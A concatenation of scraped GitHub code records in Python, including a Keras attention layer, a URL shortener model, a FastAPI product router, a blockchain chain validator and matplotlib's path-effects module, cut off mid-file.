self.is_insert_today():\n print('今日数据不存在,准备抓取...')\n self.insert_forday()\n else:\n print('今日数据已存在,不需要抓取')\n #self.insert_forday()\n print('定时任务结束')\n\n ###############数据库扩展方法#################\n def up(self):\n uplist = []\n for username in uplist:\n cur = self.get_cursor()\n print('查询用户:'+username)\n res = requests.get('https://osu.ppy.sh/api/get_user?k=%s&u=%s'%(self.osu_api_key,username),headers=self.headers,timeout=5)\n\n result = json.loads(res.text)\n if not result:\n print ('%s查询失败'%username)\n continue\n result = result[0]\n user_id = result['user_id']\n sql = '''\n UPDATE user2 set osuid = %s where username = %s\n '''\n ret = cur.execute(sql, [user_id, username])\n print (ret)\n self.con.commit()\n ###############数据库扩展方法#################","repo_name":"huhuibin147/osu-qqbot","sub_path":"plugins/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":15934,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"15866783198","text":"from string import digits, ascii_letters\nfrom datetime import datetime\nfrom random import choices\nfrom URL_Shortening_Service import db\n\n\ndef get_timestamp():\n return datetime.now().strftime((\"%Y-%m-%d %H:%M:%S\"))\n\ndef random_token(size = 6):\n \"\"\"\n Generates a random string of 6 chars , use size argument \n to change the size of token.\n Returns a valid token of desired size , \n *default is 6 chars\n \"\"\"\n BASE_LIST = digits + ascii_letters\n token = ''.join(choices(BASE_LIST, k = size))\n return token\n\n\nclass Link(db.Model):\n \"\"\"docstring for Link\"\"\"\n id = db.Column(db.Integer, primary_key = True)\n original_url = db.Column(db.String(300))\n shorten_url = db.Column(db.String(16), unique = True)\n created_time = db.Column(db.DateTime, default = datetime.now)\n visits = db.Column(db.Integer, default = 0)\n \n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.shorten_url += self.generate_shorter_url()\n\n def generate_shorter_url(self):\n \"\"\"\n Walk up with such naive algorithm, wait till the end ...\n \"\"\"\n chr_and_digit = digits + ascii_letters\n shorten_url = ''.join(choices(chr_and_digit, k = 3))\n link = self.query.filter_by(shorten_url = shorten_url).first()\n if link:\n self.generate_shorter_url()\n return shorten_url\n","repo_name":"rowidanagah/URL-Shortening-Service","sub_path":"URL_Shortening_Service/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"38427902152","text":"import matplotlib.pyplot as plt\n\nfrom random_walk import RandomWalk\n\n\nrw = RandomWalk()\nrw.fill_walk()\n\n# Будуємо та оформляємо графік випадкового блукання.\nfig, ax = plt.subplots(figsize=(15, 9))\n\nax.plot(rw.x_values, rw.y_values, linewidth=2)\n\n# Оформлюємо графік\nax.set_title(\"Random walk\", loc=\"right\", fontsize=14, c=\"green\")\nax.set_xlabel(\"axis X\", fontsize=11, c=\"green\")\nax.set_ylabel(\"axis Y\", fontsize=11, c=\"green\")\n\n# Прибираємо осі\nax.get_xaxis().set_visible(False)\nax.get_yaxis().set_visible(False)\n\nplt.show()\n","repo_name":"Asbuga/visualisation","sub_path":"random_walks/brownian_motion.py","file_name":"brownian_motion.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24951402872","text":"import pytest\nimport aiohttp\nimport asyncio\n\n@pytest.fixture(scope='session')\nasync def session():\n print(\"setup\")\n session = aiohttp.ClientSession()\n yield session\n print(\"teardown\")\n #await session.close()\n\n@pytest.fixture(scope=\"session\")\ndef event_loop():\n loop = asyncio.get_event_loop()\n yield loop\n loop.close()\n\n@pytest.fixture\ndef _flush_event_loop(event_loop):\n yield\n event_loop.flush()\n\n@pytest.mark.asyncio\nasync def test_1(session):\n await session.get('http://0.0.0.0:8000/v1/film/')\n\n\n@pytest.mark.asyncio\nasync def test_2(session):\n await session.get('http://0.0.0.0:8000/v1/film/')","repo_name":"tikon93/Auth_sprint_5","sub_path":"movies_async_api/test_foo.py","file_name":"test_foo.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26889211529","text":"from keras import backend as K, regularizers, constraints, initializers\nfrom keras.engine.topology import Layer\nimport tensorflow as tf\nimport numpy as np\n\ndef dot_product(x, kernel):\n \"\"\"\n Wrapper for dot product operation, in order to be compatible with both\n Theano and Tensorflow\n Args:\n x (): input\n kernel (): weights\n Returns:\n \"\"\"\n if K.backend() == 'tensorflow':\n # todo: check that this is correct\n return K.squeeze(K.dot(x, K.expand_dims(kernel)), axis=-1)\n else:\n return K.dot(x, kernel)\nclass Attention(Layer):\n def __init__(self,\n W_regularizer=None, b_regularizer=None,\n W_constraint=None, b_constraint=None,\n bias=True,\n return_attention=False,\n **kwargs):\n \"\"\"\n Keras Layer that implements an Attention mechanism for temporal data.\n Supports Masking.\n Follows the work of Raffel et al. [https://arxiv.org/abs/1512.08756]\n # Input shape\n 3D tensor with shape: `(samples, steps, features)`.\n # Output shape\n 2D tensor with shape: `(samples, features)`.\n :param kwargs:\n Just put it on top of an RNN Layer (GRU/LSTM/SimpleRNN) with return_sequences=True.\n The dimensions are inferred based on the output shape of the RNN.\n Note: The layer has been tested with Keras 1.x\n Example:\n # 1\n model.add(LSTM(64, return_sequences=True))\n model.add(Attention())\n # next add a Dense layer (for classification/regression) or whatever...\n # 2 - Get the attention scores\n hidden = LSTM(64, return_sequences=True)(words)\n sentence, word_scores = Attention(return_attention=True)(hidden)\n \"\"\"\n self.supports_masking = True\n self.return_attention = return_attention\n self.init = initializers.get('glorot_uniform')\n\n self.W_regularizer = regularizers.get(W_regularizer)\n self.b_regularizer = regularizers.get(b_regularizer)\n\n self.W_constraint = constraints.get(W_constraint)\n self.b_constraint = constraints.get(b_constraint)\n\n self.bias = bias\n super(Attention, self).__init__(**kwargs)\n\n def build(self, input_shape):\n assert len(input_shape) == 3\n\n self.W = self.add_weight((input_shape[-1],),\n initializer=self.init,\n name='{}_W'.format(self.name),\n regularizer=self.W_regularizer,\n constraint=self.W_constraint)\n if self.bias:\n self.b = self.add_weight((input_shape[1],),\n initializer='zero',\n name='{}_b'.format(self.name),\n regularizer=self.b_regularizer,\n constraint=self.b_constraint)\n else:\n self.b = None\n\n self.built = True\n\n def compute_mask(self, input, input_mask=None):\n # do not pass the mask to the next layers\n return None\n\n def call(self, x, mask=None):\n eij = dot_product(x, self.W)\n print('the eij: {}'.format( eij.shape))\n\n if self.bias:\n eij += self.b\n\n eij = K.tanh(eij)\n\n a = K.exp(eij)\n\n # apply mask after the exp. will be re-normalized next\n if mask is not None:\n # Cast the mask to floatX to avoid float64 upcasting in theano\n a *= K.cast(mask, K.floatx())\n\n # in some cases especially in the early stages of training the sum may be almost zero\n # and this results in NaN's. A workaround is to add a very small positive number ε to the sum.\n # a /= K.cast(K.sum(a, axis=1, keepdims=True), K.floatx())\n a /= K.cast(K.sum(a, axis=1, keepdims=True) + K.epsilon(), K.floatx())\n print('the a: {}'.format( a.shape))\n print('the x: {}'.format( x.shape))\n weighted_input = x * K.expand_dims(a)\n print('the weighted_input: {}'.format( weighted_input.shape))\n result = K.sum(weighted_input, axis=1)\n\n if self.return_attention:\n return [result, a]\n return result\n\n def compute_output_shape(self, input_shape):\n if self.return_attention:\n return [(input_shape[0], input_shape[-1]),\n (input_shape[0], input_shape[1])]\n else:\n return input_shape[0], input_shape[-1]\n def get_config(self):\n config = {\n \"name\":self.__class__.__name__,\n 'W_regularizer': regularizers.serialize(self.W_regularizer),\n 'b_regularizer': regularizers.serialize(self.b_regularizer),\n 'W_constraint': constraints.serialize(self.W_constraint),\n 'b_constraint': constraints.serialize(self.b_constraint)\n }\n base_config = super(Attention, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n \n\nclass AttentionWithTopic(Layer):\n \"\"\"\n Attention operation, with a context/query vector, for temporal data.\n Supports Masking.\n Follows the work of Yang et al. [https://www.cs.cmu.edu/~diyiy/docs/naacl16.pdf]\n \"Hierarchical Attention Networks for Document Classification\"\n by using a context vector to assist the attention\n # Input shape\n 3D tensor with shape: `(samples, steps, features)`.\n # Output shape\n 2D tensor with shape: `(samples, features)`.\n :param kwargs:\n Just put it on top of an RNN Layer (GRU/LSTM/SimpleRNN) with return_sequences=True.\n The dimensions are inferred based on the output shape of the RNN.\n Example:\n model.add(LSTM(64, return_sequences=True))\n model.add(AttentionWithContext())\n \"\"\"\n\n def __init__(self,\n W_regularizer=None, u_regularizer=None, b_regularizer=None,\n W_constraint=None, u_constraint=None, b_constraint=None,\n bias=True,\n return_attention=False, **kwargs):\n\n self.init = initializers.get('glorot_uniform')\n self.W_regularizer = regularizers.get(W_regularizer)\n self.b_regularizer = regularizers.get(b_regularizer)\n\n self.W_constraint = constraints.get(W_constraint)\n self.b_constraint = constraints.get(b_constraint)\n super(AttentionWithTopic, self).__init__(**kwargs)\n\n def build(self, input_shape):\n self.r=2\n self.W = self.add_weight((2*self.r,),\n initializer=self.init,\n name='{}_W'.format(self.name),\n regularizer=self.W_regularizer,\n constraint=self.W_constraint)\n self.b = self.add_weight((input_shape[0][1],),\n initializer='zero',\n name='{}_b'.format(self.name),\n regularizer=self.b_regularizer,\n constraint=self.b_constraint)\n super(AttentionWithTopic, self).build(input_shape)\n\n def compute_mask(self, input, input_mask=None):\n # do not pass the mask to the next layers\n return None\n\n def call(self, x, mask=None):\n #i_ shape = [none, 600, 300) t_ shape = [4,300]\n x_, t_ = x\n t_ = K.transpose(t_)\n g = K.dot( x_, t_)\n\n normal_g = K.dot(K.l2_normalize(x_, axis=-1), K.l2_normalize(t_))\n\n g /= normal_g \n print(g.shape)\n #g = K.exp(g)\n #g /= K.cast(K.sum(g, axis=-1, keepdims=True)+K.epsilon(), K.floatx())\n g_padding = K.temporal_padding(g, padding=(self.r, self.r))\n print(g_padding.shape)\n g_padding = tf.transpose(g_padding, perm=[0, 2,1])\n gw = []\n g_array = tf.unstack(g_padding, axis=-1)\n for i in range(self.r, g_padding.shape[-1]-self.r):\n g_pad = K.stack(g_array[i-self.r: i+self.r], axis=-1)\n gw_e =K.squeeze( K.dot(g_pad, K.expand_dims(self.W)), axis=-1)\n \n gw.append(K.max(gw_e, axis = -1))\n \n gw = K.stack(gw, axis=-1)\n print(gw.shape)\n ul =K.relu(gw + self.b)\n \n bate = K.exp(ul)\n bate /= K.sum(bate, axis =-1, keepdims=True)+K.epsilon()\n \n\n \n return x_ * K.expand_dims(bate) \n\n def compute_output_shape(self, input_shape):\n input_shape_i, input_shape_t = input_shape\n return input_shape_i\n def get_config(self):\n config = {\n \"name\":self.__class__.__name__,\n 'W_regularizer': regularizers.serialize(self.W_regularizer),\n 'b_regularizer': regularizers.serialize(self.b_regularizer),\n 'W_constraint': constraints.serialize(self.W_constraint),\n 'b_constraint': constraints.serialize(self.b_constraint)\n }\n base_config = super(Attention, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n","repo_name":"RongNanZi/analysiscall","sub_path":"deep_learn/AttentionWithTopic.py","file_name":"AttentionWithTopic.py","file_ext":"py","file_size_in_byte":9165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36566534947","text":"import numpy as np\nimport math\n\n\ndef predict(data):\n x1 = data.cumsum()\n z = (x1[:len(x1) - 1] + x1[1:]) / 2.0\n B = np.array([-z, z*z]).T\n Y = data[1:]\n u = np.dot(np.dot(np.linalg.inv(np.dot(B.T, B)), B.T), Y)\n a, b = u[0], u[1]\n return [a*data[0]/(b*data[0]+(a-b*data[0])*math.exp(a*i)) for i in range(len(data))]\n # Gray Forecast Model Function\n\n\nif __name__ == '__main__':\n raw_data = np.loadtxt('conservation_1.txt')\n data = np.array(raw_data)\n # [5.0000, 12.4864, 13.9987, 16.0839, 17.201,\n # 17.7296, 17.9732, 19.0819, 20.0000, 21.2919,\n # 22.9647, 25.0000, 28.3612, 30.0000, 57.0000,\n # 66.6734, 88.8200, 105.5084, 101.0000, 52]\n predict_data = predict(data) # Prediction\n result = np.ediff1d(predict_data) # Diminishing\n print('Original result: ', data[1:])\n print('Prediction result: ', result)\n print('Relative error: ', (np.array(result[:len(data)])\n - np.array(data[1:len(data)])) / np.array(data[1:len(data)]))\n","repo_name":"AdamWeen/MCM-ICM-2022","sub_path":"Finless Porpoise/Paper/codes/verhulst.py","file_name":"verhulst.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"27812922555","text":"import json\nfrom io import BytesIO\nimport re\nimport requests\nfrom PIL import Image\nfrom wechatpy.replies import ArticlesReply\n\nbaidu_img_url = \"http://image.baidu.com/search/index?tn=baiduimage&ps=1&ct=201326592&lm=-1&cl=2&nc=1&ie=utf-8&word={}\"\n\n\n# 获得页面第一张图片的链接\ndef get_pic_links(url):\n req = requests.get(url)\n html = req.text\n links = re.findall(r'\"thumbURL\":\"(.*?.jpg)\"', html)[0] # 小图\n sourcelinks = re.findall(r'\"objURL\":\"(.*?)\"', html)[0] # 原图\n return links, sourcelinks\n\n\ndef guess_flower(file, msg):\n img = Image.open(file)\n new_file = BytesIO()\n width, height = img.size\n\n if width > height: # adjust size for best result\n delta = width - height\n left = int(delta / 2)\n upper = 0\n right = height + left\n lower = height\n else:\n delta = height - width\n left = 0\n upper = int(delta / 2)\n right = width\n lower = width + upper\n\n img = img.crop((left, upper, right, lower))\n img.save(new_file, \"JPEG\")\n new_file.seek(0, 0)\n multiple_files = [\n ('file1', (\"xxx.jpg\", new_file, 'image/jpeg'))]\n r = requests.post(\"http://stu.iplant.cn/upload.ashx\", files=multiple_files)\n res = json.loads(r.text)\n base64_data = res['base64']\n url2 = \"http://159.226.89.96:24606/plt5k\"\n\n requests.options(url2)\n r2 = requests.post(url2, json={\n 'deviceid': \"stu\",\n \"image\": base64_data,\n })\n result = json.loads(r2.text)\n flower_list = result['payload']['list']\n score1 = result['payload']['is_plant']\n\n returnd = \"\"\n\n reply = ArticlesReply(message=msg)\n\n if score1 < 0: # 小于0说明是花的可能性很低很低。。\n pass\n else:\n guess_ke = flower_list[0]['family'] # 科\n guess_slhu = flower_list[0]['genus'] # 属\n\n for flow in flower_list:\n thumbURL, originURL = get_pic_links(baidu_img_url.format(flow['name'] + \" 花\"))\n reply.add_article({\n 'title': '{0} (可信度{1:.2f}%)'.format(flow['name'], flow['score']),\n 'description': '',\n 'image': thumbURL,\n 'url': 'http://baike.baidu.com/item/{0}'.format(flow['name'])\n })\n return reply\n\n\nif __name__ == \"__main__\":\n with open(\"/Users/gaoliang/Desktop/2333.jpg\", 'rb') as f:\n print(guess_flower(f))\n","repo_name":"gaoliang/distinguish_flower","sub_path":"flower_scan/scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"5"} +{"seq_id":"18671449923","text":"from lamden.storage import BlockStorage\nfrom contracting.db.driver import ContractDriver\nfrom lamden.logger.base import get_logger\nfrom lamden.crypto.block_validator import verify_block\n\nimport threading\n\nVALIDATION_HEIGHT = '__validation_height'\n\nclass ValidateChainHandler:\n def __init__(self, block_storage: BlockStorage, contract_driver: ContractDriver):\n self.block_storage = block_storage\n self.contract_driver = contract_driver\n\n self.safe_block_num = -1\n\n self.current_thread = threading.current_thread()\n self.log = get_logger(f'[{self.current_thread.name}][VALIDATE CHAIN]')\n\n def set_validation_height(self, block_num: str):\n if not isinstance(block_num, str):\n return\n\n self.contract_driver.driver.set(VALIDATION_HEIGHT, block_num)\n\n def get_validation_height(self):\n validation_height = self.contract_driver.driver.get(VALIDATION_HEIGHT)\n\n if validation_height is None:\n return -1\n\n return validation_height\n\n def run(self):\n # Read block by block\n # Run validate, check previous hash\n # Log history\n\n self.log.warning(\"Starting Block Validation...\")\n current_validation_height = int(self.get_validation_height())\n\n if current_validation_height < 0:\n # Purge history as we will recreate it\n self.block_storage.member_history.purge()\n self.process_genesis_block()\n self.set_validation_height(block_num=0)\n current_validation_height = 0\n\n self.process_all_blocks(starting_block_num=current_validation_height)\n\n self.log.warning(\"Block Validation complete!\")\n\n def process_genesis_block(self):\n block = self.block_storage.get_block(v=0)\n\n if block is not None:\n # self.validate_block(block=block)\n self.save_member_history(block=block)\n\n def process_all_blocks(self, starting_block_num: int):\n previous_block = self.block_storage.get_block(v=starting_block_num)\n block = self.block_storage.get_next_block(v=starting_block_num)\n\n while block is not None:\n block_num = block.get('number')\n\n # Validate current block signatures and proofs\n self.validate_block(block=block)\n self.validate_previous_hash(block=block, previous_block=previous_block)\n self.validate_consensus(block=block)\n self.save_member_history(block=block)\n self.set_validation_height(block_num=block_num)\n\n # Validate new block's previous hash\n next_block = self.block_storage.get_next_block(v=int(block_num))\n\n if next_block is not None:\n next_block_previous_hash = next_block.get('previous')\n\n assert block.get('hash') == next_block_previous_hash, f'BLOCK CHAIN BROKEN: {next_block.get(\"number\")} has bad previous hash.'\n\n previous_block = block\n block = next_block\n\n\n def validate_block(self, block: dict) -> None:\n block_num = block.get(\"number\")\n\n old_block = int(block_num) <= self.safe_block_num\n valid = verify_block(block=block, old_block=old_block)\n\n assert valid, f\"block number {block_num} did not pass block validation.\"\n\n def validate_previous_hash(self, block: dict, previous_block: dict) -> None:\n previous_block_hash = previous_block.get('hash')\n previous_hash = block.get('previous')\n\n assert previous_block_hash == previous_hash, \\\n f\"Block Chain Broken: {block.get('number')} does not have correct previous hash.\"\n\n def validate_consensus(self, block: dict) -> None:\n block_num = block.get('number')\n proofs = block.get('proofs')\n\n for proof in proofs:\n vk = proof.get('signer')\n assert self.block_storage.is_member_at_block_height(block_num=block_num, vk=vk), f\"block number {block_num} did not pass block consensus.\"\n\n def save_member_history(self, block: dict) -> None:\n if self.block_storage.is_genesis_block(block=block):\n state_changes = block.get('genesis')\n else:\n state_changes = block['processed'].get('state')\n\n for state_change in state_changes:\n if state_change.get('key') == 'masternodes.S:members':\n block_num = block.get('number')\n self.block_storage.member_history.set(block_num=block_num, members_list=state_change.get('value'))\n","repo_name":"Lamden/lamden","sub_path":"lamden/nodes/validate_chain.py","file_name":"validate_chain.py","file_ext":"py","file_size_in_byte":4480,"program_lang":"python","lang":"en","doc_type":"code","stars":115,"dataset":"github-code","pt":"5"} +{"seq_id":"72669659033","text":"from fastapi import APIRouter, Depends\nfrom starlette.requests import Request\n\nfrom domain.commands import product_commands\nfrom schemas.product import ProductSchema\nfrom service_layer import messagebus\nfrom service_layer.auth import oauth2_scheme, is_admin_or_super_admin\nfrom service_layer.unit_of_work import SqlalchemyUnitOfWork\nfrom views import product_views\n\nrouter = APIRouter(prefix=\"/product\", tags=[\"products\"])\n\n\n@router.post(\n \"/create_product\",\n dependencies=[Depends(oauth2_scheme), Depends(is_admin_or_super_admin)],\n status_code=201,\n)\ndef create_product(product: ProductSchema):\n \"\"\"\n create product\n \"\"\"\n cmd = product_commands.CreateProduct(**product.dict())\n messagebus.handle(cmd, SqlalchemyUnitOfWork())\n return {\"message\": \"Product created successfully\"}\n\n\n@router.get(\n \"/get_product/{sku}\",\n response_model=ProductSchema,\n dependencies=[Depends(oauth2_scheme)],\n)\ndef get_product(sku: str, request: Request):\n \"\"\"\n get product by sku\n \"\"\"\n product = product_views.get_product(\n sku, user_email=request.state.user.email, uow=SqlalchemyUnitOfWork()\n )\n return product\n\n\n@router.put(\n \"/update_product/{sku}\",\n dependencies=[Depends(oauth2_scheme), Depends(is_admin_or_super_admin)],\n)\ndef update_product(sku: str, product: ProductSchema):\n \"\"\"\n update product by sku\n \"\"\"\n cmd = product_commands.UpdateProduct(sku, product)\n messagebus.handle(cmd, SqlalchemyUnitOfWork())\n return {\"message\": \"Product updated successfully\"}\n\n\n# endpoint for delete product\n@router.delete(\n \"/delete_product/{sku}\",\n dependencies=[Depends(oauth2_scheme), Depends(is_admin_or_super_admin)],\n status_code=204,\n)\ndef delete_product(sku: str):\n \"\"\"\n delete product by sku\n \"\"\"\n cmd = product_commands.DeleteProduct(sku)\n messagebus.handle(cmd, SqlalchemyUnitOfWork())\n return {\"message\": \"Product deleted successfully\"}\n","repo_name":"jval7/catalog-challenge","sub_path":"resources/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7957195967","text":"\"\"\"\nDefines classes for path effects. The path effects are supported in `.Text`,\n`.Line2D` and `.Patch`.\n\n.. seealso::\n :ref:`patheffects_guide`\n\"\"\"\n\nfrom matplotlib.backend_bases import RendererBase\nfrom matplotlib import colors as mcolors\nfrom matplotlib import patches as mpatches\nfrom matplotlib import transforms as mtransforms\nfrom matplotlib.path import Path\nimport numpy as np\n\n\nclass AbstractPathEffect:\n \"\"\"\n A base class for path effects.\n\n Subclasses should override the ``draw_path`` method to add effect\n functionality.\n \"\"\"\n\n def __init__(self, offset=(0., 0.)):\n \"\"\"\n Parameters\n ----------\n offset : (float, float), default: (0, 0)\n The (x, y) offset to apply to the path, measured in points.\n \"\"\"\n self._offset = offset\n\n def _offset_transform(self, renderer):\n \"\"\"Apply the offset to the given transform.\"\"\"\n return mtransforms.Affine2D().translate(\n *map(renderer.points_to_pixels, self._offset))\n\n def _update_gc(self, gc, new_gc_dict):\n \"\"\"\n Update the given GraphicsContext with the given dict of properties.\n\n The keys in the dictionary are used to identify the appropriate\n ``set_`` method on the *gc*.\n \"\"\"\n new_gc_dict = new_gc_dict.copy()\n\n dashes = new_gc_dict.pop(\"dashes\", None)\n if dashes:\n gc.set_dashes(**dashes)\n\n for k, v in new_gc_dict.items():\n set_method = getattr(gc, 'set_' + k, None)\n if not callable(set_method):\n raise AttributeError(f'Unknown property {k}')\n set_method(v)\n return gc\n\n def draw_path(self, renderer, gc, tpath, affine, rgbFace=None):\n \"\"\"\n Derived should override this method. The arguments are the same\n as :meth:`matplotlib.backend_bases.RendererBase.draw_path`\n except the first argument is a renderer.\n \"\"\"\n # Get the real renderer, not a PathEffectRenderer.\n if isinstance(renderer, PathEffectRenderer):\n renderer = renderer._renderer\n return renderer.draw_path(gc, tpath, affine, rgbFace)\n\n\nclass PathEffectRenderer(RendererBase):\n \"\"\"\n Implements a Renderer which contains another renderer.\n\n This proxy then intercepts draw calls, calling the appropriate\n :class:`AbstractPathEffect` draw method.\n\n .. note::\n Not all methods have been overridden on this RendererBase subclass.\n It may be necessary to add further methods to extend the PathEffects\n capabilities further.\n \"\"\"\n\n def __init__(self, path_effects, renderer):\n \"\"\"\n Parameters\n ----------\n path_effects : iterable of :class:`AbstractPathEffect`\n The path effects which this renderer represents.\n renderer : `~matplotlib.backend_bases.RendererBase` subclass\n\n \"\"\"\n self._path_effects = path_effects\n self._renderer = renderer\n\n def copy_with_path_effect(self, path_effects):\n return self.__class__(path_effects, self._renderer)\n\n def draw_path(self, gc, tpath, affine, rgbFace=None):\n for path_effect in self._path_effects:\n path_effect.draw_path(self._renderer, gc, tpath, affine,\n rgbFace)\n\n def draw_markers(\n self, gc, marker_path, marker_trans, path, *args, **kwargs):\n # We do a little shimmy so that all markers are drawn for each path\n # effect in turn. Essentially, we induce recursion (depth 1) which is\n # terminated once we have just a single path effect to work with.\n if len(self._path_effects) == 1:\n # Call the base path effect function - this uses the unoptimised\n # approach of calling \"draw_path\" multiple times.\n return super().draw_markers(gc, marker_path, marker_trans, path,\n *args, **kwargs)\n\n for path_effect in self._path_effects:\n renderer = self.copy_with_path_effect([path_effect])\n # Recursively call this method, only next time we will only have\n # one path effect.\n renderer.draw_markers(gc, marker_path, marker_trans, path,\n *args, **kwargs)\n\n def draw_path_collection(self, gc, master_transform, paths, *args,\n **kwargs):\n # We do a little shimmy so that all paths are drawn for each path\n # effect in turn. Essentially, we induce recursion (depth 1) which is\n # terminated once we have just a single path effect to work with.\n if len(self._path_effects) == 1:\n # Call the base path effect function - this uses the unoptimised\n # approach of calling \"draw_path\" multiple times.\n return super().draw_path_collection(gc, master_transform, paths,\n *args, **kwargs)\n\n for path_effect in self._path_effects:\n renderer = self.copy_with_path_effect([path_effect])\n # Recursively call this method, only next time we will only have\n # one path effect.\n renderer.draw_path_collection(gc, master_transform, paths,\n *args, **kwargs)\n\n def _draw_text_as_path(self, gc, x, y, s, prop, angle, ismath):\n # Implements the naive text drawing as is found in RendererBase.\n path, transform = self._get_text_path_transform(x, y, s, prop,\n angle, ismath)\n color = gc.get_rgb()\n gc.set_linewidth(0.0)\n self.draw_path(gc, path, transform, rgbFace=color)\n\n def __getattribute__(self, name):\n if name in ['flipy', 'get_canvas_width_height', 'new_gc',\n 'points_to_pixels', '_text2path', 'height', 'width']:\n return getattr(self._renderer, name)\n else:\n return object.__getattribute__(self, name)\n\n\nclass Normal(AbstractPathEffect):\n \"\"\"\n The \"identity\" PathEffect.\n\n The Normal PathEffect's sole purpose is to draw the original artist with\n no special path effect.\n \"\"\"\n\n\ndef _subclass_with_normal(effect_class):\n \"\"\"\n Create a PathEffect class combining *effect_class* and a normal draw.\n \"\"\"\n\n class withEffect(effect_class):\n def draw_path(self, renderer, gc, tpath, affine, rgbFace):\n super().draw_path(renderer, gc, tpath, affine, rgbFace)\n renderer.draw_path(gc, tpath, affine, rgbFace)\n\n withEffect.__name__ = f\"with{effect_class.__name__}\"\n withEffect.__qualname__ = f\"with{effect_class.__name__}\"\n withEffect.__doc__ = f\"\"\"\n A shortcut PathEffect for applying `.{effect_class.__name__}` and then\n drawing the original Artist.\n\n With this class you can use ::\n\n artist.set_path_effects([patheffects.with{effect_class.__name__}()])\n\n as a shortcut for ::\n\n artist.set_path_effects([patheffects.{effect_class.__name__}(),\n patheffects.Normal()])\n \"\"\"\n # Docstring inheritance doesn't work for locally-defined subclasses.\n withEffect.draw_path.__doc__ = effect_class.draw_path.__doc__\n return withEffect\n\n\nclass Stroke(AbstractPathEffect):\n \"\"\"A line based PathEffect which re-draws a stroke.\"\"\"\n\n def __init__(self, offset=(0, 0), **kwargs):\n \"\"\"\n The path will be stroked with its gc updated with the given\n keyword arguments, i.e., the keyword arguments should be valid\n gc parameter values.\n \"\"\"\n super().__init__(offset)\n self._gc = kwargs\n\n def draw_path(self, renderer, gc, tpath, affine, rgbFace):\n \"\"\"Draw the path with updated gc.\"\"\"\n gc0 = renderer.new_gc() # Don't modify gc, but a copy!\n gc0.copy_properties(gc)\n gc0 = self._update_gc(gc0, self._gc)\n renderer.draw_path(\n gc0, tpath, affine + self._offset_transform(renderer), rgbFace)\n gc0.restore()\n\n\nwithStroke = _subclass_with_normal(effect_class=Stroke)\n\n\nclass SimplePatchShadow(AbstractPathEffect):\n \"\"\"A simple shadow via a filled patch.\"\"\"\n\n def __init__(self, offset=(2, -2),\n shadow_rgbFace=None, alpha=None,\n rho=0.3, **kwargs):\n \"\"\"\n Parameters\n ----------\n offset : (float, float), default: (2, -2)\n The (x, y) offset of the shadow in points.\n shadow_rgbFace : color\n The shadow color.\n alpha : float, default: 0.3\n The alpha transparency of the created shadow patch.\n rho : float, default: 0.3\n A scale factor to apply to the rgbFace color if *shadow_rgbFace*\n is not specified.\n **kwargs\n Extra keywords are stored and passed through to\n :meth:`AbstractPathEffect._update_gc`.\n\n \"\"\"\n super().__init__(offset)\n\n if shadow_rgbFace is None:\n self._shadow_rgbFace = shadow_rgbFace\n else:\n self._shadow_rgbFace = mcolors.to_rgba(shadow_rgbFace)\n\n if alpha is None:\n alpha = 0.3\n\n self._alpha = alpha\n self._rho = rho\n\n #: The dictionary of keywords to update the graphics collection with.\n self._gc = kwargs\n\n def draw_path(self, renderer, gc, tpath, affine, rgbFace):\n \"\"\"\n Overrides the standard draw_path to add the shadow offset and\n necessary color changes for the shadow.\n \"\"\"\n gc0 = renderer.new_gc() # Don't modify gc, but a copy!\n gc0.copy_properties(gc)\n\n if self._shadow_rgbFace is None:\n r, g, b = (rgbFace or (1., 1., 1.))[:3]\n # Scale the colors by a factor to improve the shadow effect.\n shadow_rgbFace = (r * self._rho, g * self._rho, b * self._rho)\n else:\n shadow_rgbFace = self._shadow_rgbFace\n\n gc0.set_foreground(\"none\")\n gc0.set_alpha(self._alpha)\n gc0.set_linewidth(0)\n\n gc0 = self._update_gc(gc0, self._gc)\n renderer.draw_path(\n gc0, tpath, affine + self._offset_transform(renderer),\n shadow_rgbFace)\n gc0.restore()\n\n\nwithSimplePatchShadow = _subclass_with_normal(effect_class=SimplePatchShadow)\n\n\nclass SimpleLineShadow(AbstractPathEffect):\n \"\"\"A simple shadow via a line.\"\"\"\n\n def __init__(self, offset=(2, -2),\n shadow_color='k', alpha=0.3, rho=0.3, **kwargs):\n \"\"\"\n Parameters\n ----------\n offset : (float, float), default: (2, -2)\n The (x, y) offset to apply to the path, in points.\n shadow_color : color, default: 'black'\n The shadow color.\n A value of ``None`` takes the original artist's color\n with a scale factor of *rho*.\n alpha : float, default: 0.3\n The alpha transparency of the created shadow patch.\n rho : float, default: 0.3\n A scale factor to apply to the rgbFace color if *shadow_color*\n is ``None``.\n **kwargs\n Extra keywords are stored and passed through to\n :meth:`AbstractPathEffect._update_gc`.\n \"\"\"\n super().__init__(offset)\n if shadow_color is None:\n self._shadow_color = shadow_color\n else:\n self._shadow_color = mcolors.to_rgba(shadow_color)\n self._alpha = alpha\n self._rho = rho\n #: The dictionary of keywords to update the graphics collection with.\n self._gc = kwargs\n\n def draw_path(self, renderer, gc, tpath, affine, rgbFace):\n \"\"\"\n Overrides the standard draw_path to add the shadow offset and\n necessary color changes for the shadow.\n \"\"\"\n gc0 = renderer.new_gc() # Don't modify gc, but a copy!\n gc0.copy_properties(gc)\n\n if self._shadow_color is None:\n r, g, b = (gc0.get_foreground() or 